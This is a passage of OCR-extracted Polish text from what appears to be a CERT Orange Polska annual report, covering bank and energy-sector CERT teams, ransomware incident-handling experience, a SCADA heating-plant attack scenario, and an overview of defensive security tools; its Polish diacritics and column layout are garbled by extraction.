cyberbezpieczenstwa.

CERT PKO Banku Polskiego regularnie uczestniczy

w najwiekszych swiatowych ¢wiczeniach z zakresu
cyberbezpieczenstwa NATO Locked Shields, wspierajgc
polska druzyne, dowodzong przez NCBC. Zwyciezylismy
réwniez w trwajacych ponad rok rozgrywkach Ligi Cyber
Twierdzy — symulacji, w ktérej zespoty miaty za zadanie
reagowac na losowe incydenty zwigzane z naruszeniami
bezpieczenstwa, budowac zabezpieczenia przed ztosliwym
oprogramowaniem czy atakami hakerskimi.

Od poczatku dziatalnosci zespot ewoluuje wraz

ze zmieniajgcym sie bankiem i biznesem, a takze rozwija
swoje kompetencje w odpowiedzi na pojawiajgce

sie wyzwania w zakresie cyberbezpieczenstwa.

W ostatnim roku podobnie jak inne zespoty zmagalismy
sie z wyzwaniami, ktére przyniosta ze soba pandemia

i praca zdalna, a w drugiej potowie roku z zagrozeniami
wynikajgcymi z coraz bardziej napietej sytuacji
miedzynarodowe;.

Cieszymy sie ze w ramach preznej spotecznosci
cyberbezpieczenstwa mozemy wspdtpracowac

z wieloma zespotami CERT/CISIRT/SOC w Polsce
i na $wiecie. Dostrzegamy i doceniamy wzrost
kooperacji w zakresie zwalczania cyberzagrozen,
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ktore jak sie ostatnio przekonali§my maja coraz czesciej
uniwersalny charakter i mogg dotknaé niemal kazdy
podmiot z wielu réznych sektoréw rynku.

Od lat jestesmy réwniez partnerem CERT Orange Polska,
ktérego wsparcie w walce z phishingiem (ale nie tylko)
jest dla nas nieocenione!

CERT PGE

Zespot PGE-CERT, dziatajgcy w ramach PGE Systemy S.A.,
zostat powotany w marcu 2015 roku decyzjg Zarzadu

PGE Polska Grupa Energetyczna S.A. Celem byto stworzenie
komorki odpowiedzialnej za kompleksowg obstuge
incydentow cyberbezpieczenstwa w catej Grupie PGE
oraz minimalizacje skutkéw ich wystepowania.

Poczatki nie byty tatwe. Wybor lokalizacji, dostosowanie
pomieszczenia dla zespotu, zrekrutowanie wykwalifikowanego
personelu oraz wdrozenie systemow cyberbezpieczenstwa
to zadania, ktdre stojag przed kazdg nowobudujgca

sie komorka. Dodatkowa trudnoscia dla PGE-CERT

byto rozproszenie oddziatéw PGE na terenie catej Polski.
Dzieki determinaciji, zaangazowaniu i ciezkiej pracy
pokonano trudnosci i stworzono zespdt, ktéry od wielu

lat konsekwentnie dziata na rzecz cyberbezpieczenstwa
Grupy PGE i stale sie rozwija.

Od momentu powotania, zespot stale wspdtpracuje

z instytucjami, stuzbami i organami pafnstwowymi
odpowiedzialnymi za bezpieczenstwo teleinformatyczne,

a takze z innymi zespotami CSIRT/CERT. Wymienia

sie doswiadczeniami i informacjami w zakresie alertowania,
obstugiwania oraz ograniczania ryzyka zwigzanego

z incydentami bezpieczenstwa teleinformatycznego.

PGE Systemy dba o rozwdéj zawodowy pracownikéw

w dziedzinie cyberbezpieczenstwa, dlatego nieustannie
podnoszone sg kompetencje zespotu poprzez szkolenia,
zdobywanie certyfikatow i nowych umiejetnosci

oraz uczestniczenie w zawodach zespotéw CERT-owych
np. CTF — Capture The Flag.

W 2018 roku PGE-CERT uzyskat miedzynarodowa
akredytacje organizacji Trusted Introducer, jest tez
cztonkiem FIRST Org., czotowej organizacji i $wiatowego
lidera zrzeszajacego zespoty reagujace na incydenty.

Od 2020 roku posiada status certyfikowanego zespotu
CERT. Przeszedt takze niezalezng certyfikacje

na zgodno$¢ z ISO 22301 i 27001.

W 2019 roku PGE Systemy S.A., na mocy ustawy

o krajowym systemie cyberbezpieczenstwa, zostaty
uznane jako operator ustugi kluczowej w zakresie dostawy
systemoéw, maszyn, urzadzen, materiatdw, surowcow

oraz $wiadczenia ustug na rzecz sektora energii, co niesie
za sobg obowigzek spetnienia dodatkowych warunkéw
technicznych i organizacyjnych pozwalajgcych

na wywigzanie sie z obowigzkéw ustawowych

i zapewnienie efektywnego procesu obstugi

incydentéw cyberbezpieczenstwa.

Jednym z wiekszych wyzwan, z ktérym musiat

sie zderzy¢ PGE-CERT w 2021 roku, byta kampania
phishingowa wykorzystujgca wizerunek i marke PGE

w SMS-ach informujgcych o nieuregulowaniu naleznosci,
czy niedoptatach do faktur.

Na co dzien istotnym zagrozeniem sg kampanie
phishingowe wymierzone w klientéw Grupy PGE.
Budowanie, wraz ze strukturami komunikacyjnymi,
$wiadomosci pracownikow Grupy PGE w zakresie zagrozen
cyberbezpieczenstwa to temat, nad ktérym PGE-CERT
nieustannie pracuje, poniewaz ataki cyberprzestepcow
nie ustajg na sile i caty czas przybierajg nowa forme.

Wszyscy gramy do jednej
bramki, ale chyba zbyt
samodzielnie...

Kiedy Przemek Deba napisat do mnie pare tygodni
temu, proszac o komentarz do tegorocznego raportu,
zasugerowat, by napisa¢ cos o roli ,,CERT Niebezpiecznik”.
Pomyslatem, ze sie przejezyczyt chtopina, bo tak mocno
zyje praca na rzecz CERT Orange Polska, ze wszedzie
przed oczami widzi CERT-y. Ale po chwili rozmowy,
Przemek przekonat mnie, ze w zasadzie Niebezpiecznik
jest takim troche Community CERT-em dla Polakéw.
Wprawit mnie tym w zakfopotanie. Mito to byto ustysze¢,
ale gdziez nam, niebezpiecznikom, do tak szacownych
zespotéw jak CERT Orange Polska, CERT Polska

czy szereg CSIRT-6w. Nie ta skala, nie ta sprawczosé¢,
nie te mozliwosci.

Zaczelismy sie jednak zastanawia¢, dlaczego

to czesto faktycznie najpierw do nas Polacy zgtaszajg
rézne incydenty. | dlaczego wcigz tak niewielu rodakow
w ogdle zdaje sobie sprawe z istnienia CERT-6w?

Oraz czy nasza praca w Niebezpieczniku az tak bardzo
rézni sie od tego, co robig CERT-y? Koniec koncéw
doszedtem do wniosku, ze chyba do$¢ dobrze sie
uzupetniamy -- my i polskie CERT-y. Ale tez zbyt stabo
wspotpracujemy ze soba... Co mam nadzieje zmieni sie,
kiedy doczytacie ten artykut do konca.

Zacznijmy od tego bycia pierwszym punktem kontaktu.
To w naszym przypadku nie wzigto sie znikad. My naprawde
przez ostatnie 13 lat duzo pisaliSmy o cyberbezpieczenstwie.
Moglismy sobie na to pozwoli¢, bo nasz priorytet,

w przeciwienstwie do CERT-6w, to przede wszystkim
edukacja Polakéw, a nie reagowanie na incydenty 24h

na dobe. Cho¢ niewatpliwie niektore tworzone przez

nas artykuty (te ostrzegajace przed nowymi technikami
atakujgcych), filmiki (te pokazujace historie prawdziwych
ofiar), czy webinary (te przeprowadzajgce Polakdéw krok
po kroku przez skomplikowany proces zabezpieczania
np. Androida) faktycznie pomagajg czesci spoteczenstwa
W rozpoznaniu i samodzielnej obstudze swoich

lokalnych incydentow.

Wydaje mi sie jednak, ze w przeciwienstwie do CERT-6w,

zgtoszenia obstugujemy w troche innym wymiarze, wtasnie

ze wzgledu na inne cele. Robimy cos$, na co CERT-y

nie bardzo moga sobie pozwoli¢ i doskonale to rozumiem.
My czesciej wechodzimy w dialog z ofiarami. Dzwonimy.
Rozmawiamy. Pocieszamy. Radzimy. | niekiedy zwracamy
sie w imieniu ofiar do ustugodawcow. Wyjasniamy,
tlumaczymy i... zmieniamy niekorzystne dla ofiar decyzje.
Kto by pomyslat, ze niektére konta po takim kontakcie

da sie jednak odblokowaé, a srodki odzyskac?

A wiec nasza praca, poza kategoryzacja zgtoszen

i odpowiadania autoresponderem na wigkszo$¢
spowtarzalnych klasykéw”, polega tez na byciu troche takim
cyberpsychologiem dla niestandardowych przypadkdw.

| to dosé istotna czes$¢ naszego procesu, ktérego na zewnatrz
nie widaé, ale ktory lepiej pomaga nam zrozumie¢ incydent
od strony ofiary. Dzieki temu mozemy dotrze¢ do odpowiedzi
na pytanie DLACZEGO tym razem przestepcom sie udato?
Takie gtebokie zrozumienie tego jak myslg ofiary w chwili
ataku pozwala nam lepiej uktadaé rekomendacje, ktére
potem pojawiajg sie w naszych ostrzegawczych artykutach.
Nauczylismy sie jak pisa¢, zeby trafi¢ do jak najszerszej
liczby Polakéw, czesto przeciez nietechnicznych, aby
wszystko byto zrozumiate. Cieszy mnie tez, ze niektore

z CERT-6w takze idg w te strone ze swoja komunikacja.
Takie podejscie skupione na ofierze powoduje, ze po
kontakcie z nami te osoby polecaja nas swoim znajomym,
ktorych tez cos cyberztego dopadto. A ostatnio takiego
dopadania jest coraz wiecej. To polecanie generuje nam
jeszcze wiecej zgtoszen. Przez Facebooka, Instagrama,

a nawet TikToka. Widzimy dzieki temu cos, co jest szalenie
istotne w pierwszych chwilach ataku: ktéredy, w jakiej skali

i jakimi technikami atakujacy prébuja dotrze¢ do ofiar.

Tych informacji mamy jednak zdecydowanie wiecej niz
jesteSmy w stanie przerobié, bo przeciez my tak naprawde
tym “certowaniem” zajmujemy sie po godzinach. Wbrew
pozorom to nie jest nasz core business. | dlatego wtasnie
uwazam, ze $wietnie uzupetniamy sie z zespotami CERT-owymi,
ktore czuwajg nad bezpieczenstwem catg dobe i majg zdecy-
dowanie wieksze mozliwosci uzupetniania informacji na temat
incydentéw, ptyngce chocby z zagladania w infrastrukture,
ktéra monitoruja.

Gdybysmy tak potaczyli sity... Mocniej powymieniali sie
informacjami? Moze udatoby sie sprawniej chroni¢ i ostrzegac
Polakoéw przed oszustami i atakami? Wydaje mi sie, ze warto
sprébowac. Wyglada na to, ze mamy tu klasyczny win-win-win.
Dla ,,ustawowych” CERT-6w, dla nas i dla Polakéw. | dla innych
firm, ktdre tez chciatyby podtozy¢ nézke cyberprzestepcom
wykorzystujacym ich ustugi do realizacji atakow.

Chetnych do wspdtpracy zapraszam do kontaktu, piszcie

na soc@niebezpiecznik.pl, https://piotr-konieczny.pl

Piotr Konieczny
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Ransomware - zapiski z placu boju

Rok 2021 byt rekordowy pod wzgledem liczby
zaobserwowanych dotad atakéw ransomware.

Ataki te nie sa trudne do przeprowadzenia, prég

wejscia jest niski - bez trudu mozna pozyskaé niezbedne
narzedzia oraz dostep do infrastruktury ofiar - zysk

jest wysoki, a ryzyko poniesienia przez sprawcéw
negatywnych konsekwencji prawnych niskie. Skutki
atakéw zaréwno dla bezposrednich, jak i posrednich
ofiar, sg coraz bardziej dotkliwe.

Rok 2021 byt
rekordowy pod
wzgledem liczby

zaobserwowanych
dotad atakow
ransomware.

Nie ma jednego profilu ofiary. Sposrdéd podmiotow
niekomercyjnych ofiarami padaty samorzady

- od najmniejszych gmin po urzedy marszatkowskie,
osrodki opieki spotecznej i podmioty z sektora stuzby
zdrowia oraz instytuty naukowe. W sektorze komercyjnym
- od matych przedsiebiorstw do najwiekszych spétek
notowanych na warszawskiej GPW, bez wzgledu

na branze oraz charakter prowadzonej przez

te podmioty dziatalnos$ci - m.in. przedsiebiorstwa

branzy spozywczej, transportowej, informatycznej, z J-CAT dziatajgcym w Europolu, mozliwe byto

Szczegolnie trudna jest obstuga incydentu ransomware w stuzbie
zdrowia, przy uwzglednieniu ograniczen epidemiologicznych

i mozliwych jego skutkow dla dziatania np. zaatakowanego szpitala
covidowego. Przy ustalaniu harmonogramu obstugi incydentu

i przywracania infrastruktury uwzgledniac¢ trzeba funkcjonowanie
czesci szarej (administracyjnej, odpowiadajacej m.in. za rozliczenie
wynagrodzen pracownikow szpitala i kontraktow z NF2) i biatej
(medycznej, odpowiadajacej za diagnostyke i leczenie) szpitala,

a takze ryzyko zarazenia koronawirusem obstugujacych incydent.

nalezy rowniez ryzyko ujawnienia informacji objetych moga szantazowac nie tylko podmiot, z ktérego
tajemnica przedsiebiorstwa, w tym tajemnic dane wykradziono, ale réwniez inne, ktére moga
powierzonych przez innych przedsiebiorcéw,

w ramach realizowanych wspolnie przedsiewzie¢

(np. szczegodtowe dokumentacije techniczne produktdw,
ktére jeszcze nie miaty swojej premiery). Atakujacy

z ewentualnym ujawnieniem wykradzionych danych.

anna@sekurak.pl

ponies¢ strate finansowa lub wizerunkowa w zwigzku

az po instytucje finansowe.

Najczesciej obserwowane wektory wejscia

do organizaciji to btedy w konfiguracji i zarzagdzaniu
kanatami dostepu (RDP i VPN), podatnosci urzadzen
brzegowych (zaréwno 0-day, jak i takie, na ktére
dostawcy opublikowali poprawki bezpieczenstwa,
ale organizacje ich nie wdrozyty) oraz przetamane
lub wykradzione poswiadczenia uzytkownikow

o wysokich i bardzo wysokich uprawnieniach
administratoréw lokalnych i domenowych
(phishing oraz brak higieny poswiadczen).
Prawdopodobienstwo sukcesu przetamywania
przez atakujgcych zabezpieczen i uzyskiwania
dostepu znaczaco zwiekszat brak wdrozonego
MFA po stronie zaatakowanej organizacji.

W przypadku organizacji, w ktérych segmentacja
sieci nie byta prawidtowo wdrozona, atakujgcy

z duzg tatwoscig zdobywali dostep do kolejnych
maszyn wykradajgc kolejne poswiadczenia,

a nastepnie eksfiltrujac i uszkadzajgc dane.

Obstuga incydentu obejmuje przede wszystkim
(1) detekcje i analize, (2) powstrzymanie i usuniecie
oraz (3) przywrécenie ciggtosci dziatania.

W przypadku incydentéw ransomware,

poza powstrzymaniem szyfrowania i odcieciem
dostepu atakujacym do infrastruktury, nalezy réwniez
powstrzymywacé i ogranicza¢ wycieki danych

z organizacji - przeanalizowac, dokonaé atrybuciji
ataku i ustali¢, czy atakujgcy wykradajg dane,

oraz jesli tak - gdzie je przesytaja w pierwszej
kolejnosci i gdzie zamierzajg je opublikowac,

aby przyja¢ odpowiednia strategie powstrzymania.
Wytacznie dzieki sprawnemu dziataniu, wykorzystaniu
odpowiednich narzedzi technicznych i instrumentow
prawnych, a takze niejednokrotnie przy wspotpracy
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skuteczne ograniczanie i powstrzymywanie dalszych
wyciekoéw oraz publikacji wykradzionych danych.
Przywrécenie ciggtosci dziatania po ataku ransomware
obejmuje (1) przywrécenie dostepu do danych - mozliwe
jest to dzieki backupom, wykorzystaniu zaawansowanych
technik odzysku danych lub narzedzi deszyfrujacych

- ktére odbywa sie réwnolegle z (2) odtwarzaniem
infrastruktury, ktére zazwyczaj oznacza zmiane
poswiadczen raz rewizje architektury zaatakowanej
infrastruktury,jej reinstalacje i rekonfiguracje catego
Srodowiska (od endpointéw po data center), nierzadko
w wielu lokalizacjach geograficznych w kraju

i poza granicami.

Zdarza sie, ze podmioty wspotpracujgce odcinajg
wszystkie elektroniczne kanaty komunikacji z zaatakowana
organizacjg do czasu udowodnienia, ze (1) atak ich

nie obejmie, (2) zapewniona zostanie poufno$¢ komunikacji
(np. mailowej). Wszystkie te dziatania musza

by¢ podejmowane z uwzglednieniem uptywu czasu

i mozliwych okien serwisowych. Przestdj w organizacji
najczesciej wiaze sie z pogtebieniem straty, a zainfekowane
komponenty nie zawsze moga byé natychmiast odtaczone
od pozostatych lub wytaczone.

Coraz wiekszym wyzwaniem jest zmierzenie sie

z oceng ryzyka bezpieczenstwa informacji, poniewaz
ataki ransomware sg atakami nie tylko na dostepnos¢
informaciji, ale rdwniez na poufnosc¢. Jesli na poczatkowym
etapie obstugi incydentu nie zostanie prawidtowo
zabezpieczony wiasciwy materiat do dalszej e~ "7y,
czesto niemozliwe jest okreslenie czy i do jakicn danych
miat dostep atakujacy, ani czy te dane wykradt.
Ewentualne naruszenia w obszarze ochrony danych
osobowych (np. opublikowanie na stronach
wyciekowych baz danych kadrowych lub rejestru
$wiadczeniobiorcéw) moga wigzac sie z dotkliwymi
karami. W przypadku przedsiebiorcéw, uwzglednié

N AERA
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Jak zbudowaé odpornosé
cybernetyczna swojej organizacji

Najwazniejsze zagrozenia
Jak chronic infrastrukture krytyczna
i zapewnic ciggtosc¢ dziatania biznesu
(studium przypadku)

Pracownicy Lokalizacja Chmura
i wspoéitpracownicy klienta publiczna

Atak na
aplikacje/
infrastrukture

Rozpoczyna sie kolejny, zwykty dzier pracy administratora  Niestety taki stan rzeczy jest w wielu firmach zajmujacych

IT w firmie, ktéra ogrzewa wiekszos$¢ obszaru matego sie dostarczaniem ciepta i energii, czy tez wody

miasteczka. w miastach i miasteczkach. Swiadomosé, ze ktoé moze
zablokowaé, nawet zniszczy¢ ich infrastrukture

Ataki socjo-
techniczne

Atak na

aplikacje/
infrastrukture

Ransomware/
malware

Zagrozenie
wewnetrzne

Ransomware/
malware

Phishing

BOTnet

Rekomendacja dla wszystkich obszaréw

Wyciek
danych

BOTnet

Stale monitoruj zagrozenia i reaguj wg najlepiej ustalonych procedur

Cyklicznie edukuj pracownikéw
w zakresie podnoszenia Swiadomosci
cyberbezpieczenstwa

Testy socjotechniczne, szkolenia
podnoszace $wiadomosé zagrozen,
szkolenia z cyberbezpieczenstwa

Buduj bezpieczenstwo w modelu
holistycznym. Monitoruj w trybie ciagtym

DLP, NG SOC, bezpieczeristwo fizyczne
(monitoring wizyjny)

Automatyzuj identyfikowanie phishingu.
Zgtaszaj odpowiednim organom
przestepstwa zwigzane z phishingiem.
Cyklicznie edukuj pracownikéw w zakresie
podnoszenia Swiadomosci
cyberbezpieczenstwa

Testy socjotechniczne, szkolenia
podnoszace $wiadomosci zagrozer,
StopPhishing

Buduj bezpieczeristwo w modelu
holistycznym. Monitoruj systemy i sie¢
w trybie ciggtym

DLP, NG SOC

Next Generation SOC dlaITi OT

Stosuj rozwigzania chronigce Twoje
kluczowe dane; cyklicznie edukuj
pracownikéw w zakresie podnoszenia
Swiadomosci cyberbezpieczenstwa;
wzmocnij ochrone dostepu do danych,
zapewnij standaryzacje uzywanych
aplikaciji

DLP, NG SOC, szkolenia z podnoszenia
$wiadomosci cyberbezpieczeristwa, MDM,
Morphisec, Advanced Endpoint Protection

Chron dostep do internetu. Monitoruj cata
infrastrukture od punktu styku do
najmniejszych jej elementéw. Cyklicznie
sprawdzaj poziom bezpieczernstwa
kluczowych aplikacji i infrastruktury

ONS, ZUTM, NG SOC, Testy podatnosci,
audyty, cyberpakiety, WAP, Cisco DUO,
ESET 2FA, Morphisec; Guardicore, SOC Lite

Chron dostep do internetu. Monitoruj
infrastrukture sieciowa i aplikacyjna
korzystajaca z Twojej adresaciji publicznej.
Testuj wydajnos¢ i odpornosé przed
atakami DDoS na swoja infrastrukture.

DDoS Protection, OIP, testy wydajnosci

Monitoruj ruch sieciowy w kierunku
komunikaciji z przejetymi adresami
IP/domena. Kontroluj pod katem zagrozen
zataczniki i linki przekazywane w poczcie.
Chron komputery pracownikéw,
infrastrukture techniczna, urzadzenia
przenosne

Email Protection, CyberWatch, ZUTM, ONS,
Morphisec, ESET, Feed aaS

Wdr6z mechnizmy zabezpieczajace dostep
do firmy, takze dostep zdalny dla
pracownikow

CyberWatch, ZUTM, ONS, Cisco DUO

Monitoruj ruch sieciowy i uszczelniaj

= bezpieczernistwo dla catej organizacji,

pracownikow i partneréw

CyberWatch, ZUTM, ONS, Feed aa$S,
Morphisec, Advanced Endpoint Protection

Stosuj rozwigzania chronigce Twoje

= kluczowe dane. Wdréz systemy chronigce

przed wyciekiem danych (DLP) oraz stosuj
procedury wewnetrzne.

CyberWatch, ZUTM, ONS, Feed as a
service, DLP, NG SOC, Awareness, MDM,
Morphisec, Advanced Endpoint Protection,
Guardicore

Chron dostep do internetu ; monitoruj cata
infrastrukture od punbktu styku do
najmniejszych jej elementéw; Cyklicznie
sprawdzaj poziom bezpieczenstwa
kluczowych aplikaciji i infrastruktury

ONS, ZUTM, NG SOC, Testy podatnosci,
Audyty, Cyberpakiety, WAP, Cisco DUO,
ESET 2FA, Morphisec, Guardicore

Monitoruj ruch sieciowy w kierunku

= komunikacji z przejetymi adresami

IP/domenami. Kontroluj pod katem
zagrozen zatgczniki i linki przekazywane.
Chron komputery pracownikéw,
infrastrukture techniczna, urzadzenia
przenosne

Email Protection, CyberWatch, ZUTM, ONS,
Morphisec, ESET, Feed aaS, Advanced
Endpoint Protection

Monitoruj ruch sieciowy w kierunku

= komunikacji z przejetymi adresa

IP/domenami. Kontroluj zatacznil
przekazywane w poczcie

CyberWatch, ZUTM, ONS, Feed aa$S,
Morphisec, Advanced Endpoint Protection

Temperatura za oknami -50C, sucho nie pada $nieg.
Dziat techniczny krzata sie w hali, gdzie znajduja sie
generatory pary oraz piece weglowe, gdzie podawany
jest miat weglowy. Inzynier zmiany, na ekranie systemu
SCADA sprawdza ustawienia jego parametréw.
Wszystko pracuje normalnie.

Okoto godziny 11:00 inzynier zmiany otrzymuje

z urzedu miasta informacje, ze temperatura ogrzewania
spadta, mieszkancy alarmuja o zimnych kaloryferach.
Podobne wiadomosci ptynag rowniez od dyrekcji
przedszkoli oraz szkét podstawowych.

Inzynier zmiany ze zdziwieniem stwierdza, ze informacje
na ekranie systemu SCADA nadal pokazujg wtasciwe
parametry dziatania systemu cieptowniczego.
Pracownicy techniczni melduja z kolei, ze podajniki
wegla bardzo zwolnity i prawie nie dostarczajg wegla
do mtyna przed paleniskiem pieca.

Taka sytuacja to realny scenariusz zewnetrznego
wektora cyberataku na infrastrukture krytyczna,
oczywiscie w mniejszej skali, bo dotyczy matego
miasteczka.

Co wtasciwie sie stato, nie byto zadnego komunikatu,
zadnej informacji o awarii o zmianie parametréw pracy
matej cieptowni. Dyrektor zaktadu zaskoczony obrotem
sprawy nakazuje petny przeglad systemu sterownia i
monitorowania pracy lokalnej automatyki przemystowe;j.
Inzynierowie i dziat techniczny szukajg aktualne;j
dokumentacji — niestety stwierdzajg jej brak.

To, co widnieje na $cianie obok stacji systemu SCADA
jest nieaktualne. Kilkanascie lat temu, cieptownia
przechodzita remont i wymiane technologii, nikt nie
zaktualizowat dokumentaciji. Udato sie znalez¢ telefon
do firmy, ktéra instalowata system SCADA i catg
automatyke w cieptowni. Inzynier z tej firmy bedzie
dopiero jutro. Administrator IT stwierdzit jedynie,

ze urzadzenia w sieci biurowej dziatajg, poczta elektronic-
zna dziata, internet dziata. W swoich zasobach ma jeden
router, sprawdzit go i nie znalazt zadnych podejrzanych
logbéw, zmiany ustawien. Niestety nie ma osobnego
wydzielenia sieci technologicznej jedynie adresacja sieci
technologicznej OT jest inna, jest bezsilny nic teraz

nie moze zrobi¢, nie wie co sie stato.

techniczng jest niewielka. Do tej pory cyberzagrozenia
identyfikowane byty przede wszystkim z obszarem IT,
rzadko z obszarem OT (ang. Operation Technology).

A byfa to ingerencja zewnetrzna - atak na system
wizualizacji SCADA w tej cieptowni. Zamiarem
atakujgcego byto doprowadzenie w sposdb niezauwazalny
do zmniejszenia ilo$ci podawanego wegla do pieca.

W wiekszosci takich starszych instalacji technologicznych
komunikacja pomiedzy urzadzeniami odbywa sie

po protokole Modbus TCP oraz Modbus RTU.
Historycznie jest to jeden z pierwszych protokotéw
czesto uzywanych w automatyce przemystowe;.

Protokot ten jest tatwy w uzyciu, jest duzo aplikacji,

ktére mogag generowacé w nim wszystkie mozliwe
zapytania i rozkazy. Nie oznacza to, ze jest zty lub

ze nie powinno sie go uzywac. Oczywiscie jego zalety

dla automatykow sa duze, nalezy jedynie wtasciwie
zabezpieczy¢ dostep do urzadzen go wykorzystujgcych.

Jak zabezpieczac¢ systemy automatyki
przemystowej (OT)

Sa juz opracowane wiasciwe praktyki w tym
zakresie oraz normy. Od czego nalezy rozpoczaé
proces podniesienia poziomu bezpieczenstwa

w obszarze OT?

Po pierwsze nalezy przeprowadzi¢ audyt srodowiska
OT, dzieki temu poznamy od nowa naszg infrastrukture,
zobaczymy co nam przybyto od ostatniego przegladu
czy modernizacji technologii. Wnioski i raport z audytu
uswiadomig nam czego nie wiedzieliSmy wczesniej
odnosnie infrastruktury OT, co nalezy uzupetnié.

Chodzi przede wszystkim o uzupetnienie brakéw

w dokumentacji powykonawczej oraz na jakie podatnosci
jest narazona nasza instalacja OT oraz urzadzenia

- sterowniki PLC, protokoty przemystowe czy systemy
wizualizacji i nadzoru typu SCADA. Co najwazniejsze,
powstaty w ten sposéb plan dziatania na najblizszy czas,
umozliwi zaplanowanie modernizacji infrastruktury sieci
zaréwno IT jak i OT. Mozemy tez roztozyé w czasie
finasowanie tych dziatan.
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Dzieki audytowi, mozemy z petna $wiadomoscia

i wiedzg optymalnie zainstalowaé dodatkowe

systemy stuzgce do monitorowania ruchu sieciowego
wchodzacego i wychodzacego z naszego obszaru IT/OT,
jak réwniez monitorowac ruch sieciowy wewnatrz naszej
infrastruktury.

Rekomendacje po audycie pozwola nam wiasciwie
posegmentowac sie¢ IT od sieci OT, takze sama sie¢
OT. Dzieki temu uporzadkujemy ruch sieciowy i petna
jego kontrole na brzegach segmentéw. Wtasciwe uzycie
urzadzen i systeméw UTM jak réowniez IDS/IPS pozwoli
na wczesniejsze wykrycie skutkow potencjalnego
cyberataku. Nasz administrator IT, jako pierwszy dowie
sie o probie przejecia urzadzen i systemu SCADA.
Automatycznie lub osobiécie moze zdalnie zablokowaé

szkodliwy ruch na urzadzeniach UTM czy IPS. Oczywiscie

mozna tez caty proces zautomatyzowac i w systemie
24/7/365 skorzystac¢ z oferty ustugi SIEM/SOC, gdzie
specjalisci i eksperci od cyberzagrozen wspomagani
analityka i systemami machine learning i Al reaguja
niezwtocznie na logi z monitorowanych systemoéw OT.

Nasi eksperci moga przeprowadzi¢ taki audyt

oraz wdrozy¢ optymalne rozwigzania z zakresu
cyberbezpieczenstwa OT w postaci np. systemdw IDS/
IPS, systemow UTM, ustugi SIEM/SQOC, jak réwniez
doradztwa technicznego w zakresie rozbudowy zaréwno
infrastruktury IT i OT o urzadzenia sieciowe podnoszace
poziom cyberbezpieczenstwa dla naszych klientdw.

Co obejmuje obszar OT

Technologia operacyjna OT to wszelkie urzadzenia,
systemy i oprogramowanie automatyki przemystowej
do zarzadzania i monitorowania fizycznych urzadzen
jak maszyny produkcyjne, pompy, urzadzenia kolejowe,
itd. Wykorzystuje urzadzenia automatyki przemystowe;j,
infrastrukture IT oraz oprogramowanie do sterownia i
monitorowania procesami fizycznymi do wytwarzania
produktéw i ustug dla spoteczenstwa.

Andrzej Maciejak
Cyberbezpieczenstwo Orange Polska
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»,Magiczny kuferek”

Zapewnianie bezpieczenstwa IT jest bardzo ztozonym
zagadnieniem. Jest wiele rodzajoéw zagrozen, na ktére
nalezy by¢ stale przygotowanym. Wiele rodzajéw podatnosci,
ktére nalezy ograniczy¢ lub wyeliminowac. Wiele narzedzi,
realizujacych rézne cele, ktére mozna zastosowac.

Jest w koricu wiele ograniczen, ktére nalezy braé pod
uwage. A na dodatek wszystkie powyzsze czynniki bardzo
szybko moga sie zmienia¢, gdyz ,.cyberbezpieczenstwo”
jest niezmiernie dynamicznym zagadnieniem.

Stad mozna zaobserwowac¢ dwa wyrdzniajace sie trendy.

Sa organizacje, dla ktérych wtasciwa ochrona IT jest
kluczowa i ktdre sta¢ na to by budowaé duze zespoty

i inwestowac w skuteczne narzedzia. Sg tez takie,

ktére nie majg takiego komfortu i szukajg innych opcji.
Obserwujac z boku oczekiwania klientéw jak i niekiedy oferte
sprzedawcow, mozna poréwnac to do szukania
»magicznego kuferka” - rozwigzania, ktore rozwigze wszyst-
kie problemy. Rozwigzania, ktére szybko, tanio i wygodnie
zapewni najwyzszy mozliwy poziom bezpieczenstwa.

Takich magicznych rozwigzan niestety nie ma...

Aby organizacja mogta czu¢ sie w miare bezpiecznie

w cyberprzestrzeni, niezbedne jest korzystanie z réznorodnych
narzedzi, realizujacych rézne funkcje. W dalszej czesci
artykutu scharakteryzowana zostanie cze$¢ z nich. Bardziej
zaawansowane technicznie osoby od razu uprzedzamy,

ze celem artykutu nie jest szczegotowe przedstawienie

zasad funkcjonowania rozwigzan, lecz przestawienie ich
charakterystyki tym czytelnikom, ktérzy nie spedzajg od
dziesigtek lat kazdej wolnej chwili przed klawiatura.

Ochrona tacza internetowego

kacznosé z internetem to podstawa. Oprécz posiadania
stabilnego tacza (a w niektérych branzach wrecz kilku
niezaleznych tgczy) trzeba upewnié sie, ze bedzie ono
odporne na ataki. Do tego wykorzystuje sie rozwigzania
typu AntyDDoS majace na celu identyfikacje i eliminacje
sztucznego ruchu generowanego przez przestepcow,
zapewniajgc jednoczesnie dostep uzytkownikom.
Posiadane rozwigzania warto jednak okresowo testowac.
Testy rozwiagzan AntyDDoS pozwalaja upewni¢ sie

czy ustuga/produkt w rzeczywistosci zadziata w sytuacji,
gdy bedzie potrzebna.

Problemy moga wywota¢ réwniez zwykli uzytkownicy.
Nadmierne zainteresowanie ofertg (bedace np. poktosiem
udanej kampanii marketingowej) moze doprowadzi¢

do probleméw z wydajnoscig infrastruktury.

Testy wydajnosciowe pozwalajg symulowacé ruch
wywotywany czynno$ciami duzej ilosci zainteresowanych
i upewni¢ sie, ze konfiguracja zostata przeprowadzona
poprawnie a sprzet sprosta oczekiwaniom.
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Ochrona brzegu sieci

Rozwigzania ochrony sieci maja na celu powstrzymanie
przestepcéw przed kopiowaniem bgdz modyfikowaniem
cennych danych trzymanych na serwerach. Jednak za tym
stwierdzeniem kryje sie znaczna czes$¢ réznych technologii,
sposréd ktérych scharakteryzujemy tylko kilka najbardziej
popularnych.

Systemy typu firewall majg na celu ograniczenie komunikaciji
z potencjalnie niebezpiecznymi miejscami (zaréwno w sieci
wewnetrznej jak i w internecie). Bardzo dobrze wspdtpracuja
z systemami typu IDS/IPS, ktére dodatkowo wnikajg w tre$é
komunikacji pozwalajgc na wykrycie niebezpiecznych polecen
w teoretycznie bezpiecznym ruchu. Sporg popularnosé na
rynku zdobywajag urzadzenia UTM tgczace w sobie elementy
powyzszych, ktére szczegdlnie dla mniejszych organizaciji
wydaja sie byé bardzo interesujaca alternatywa. Analiza
tego typu zdarzen (jak réwniez wielu innych) zajmuija sie
zaawansowane systemy SIEM, mniejsze organizacje

moga by¢ jednak szczegdlnie zainteresowane prostszymi
ustugami - typu nasz autorski SOC lite opisany szerzej rok
temu. Ustuga ta pozwala na powiadamianie organizacji

o bardzo powaznych incydentach, ktére wymagaja
bezzwlocznej reakcji z najwyzszym priorytetem.

Ochrona brzegu sieci powinna réwniez uwzgledniac
potaczenia wychodzace. Bardzo skuteczne w tym temacie
sg narzedzia filtrujace ruch wychodzacy (jak nasze
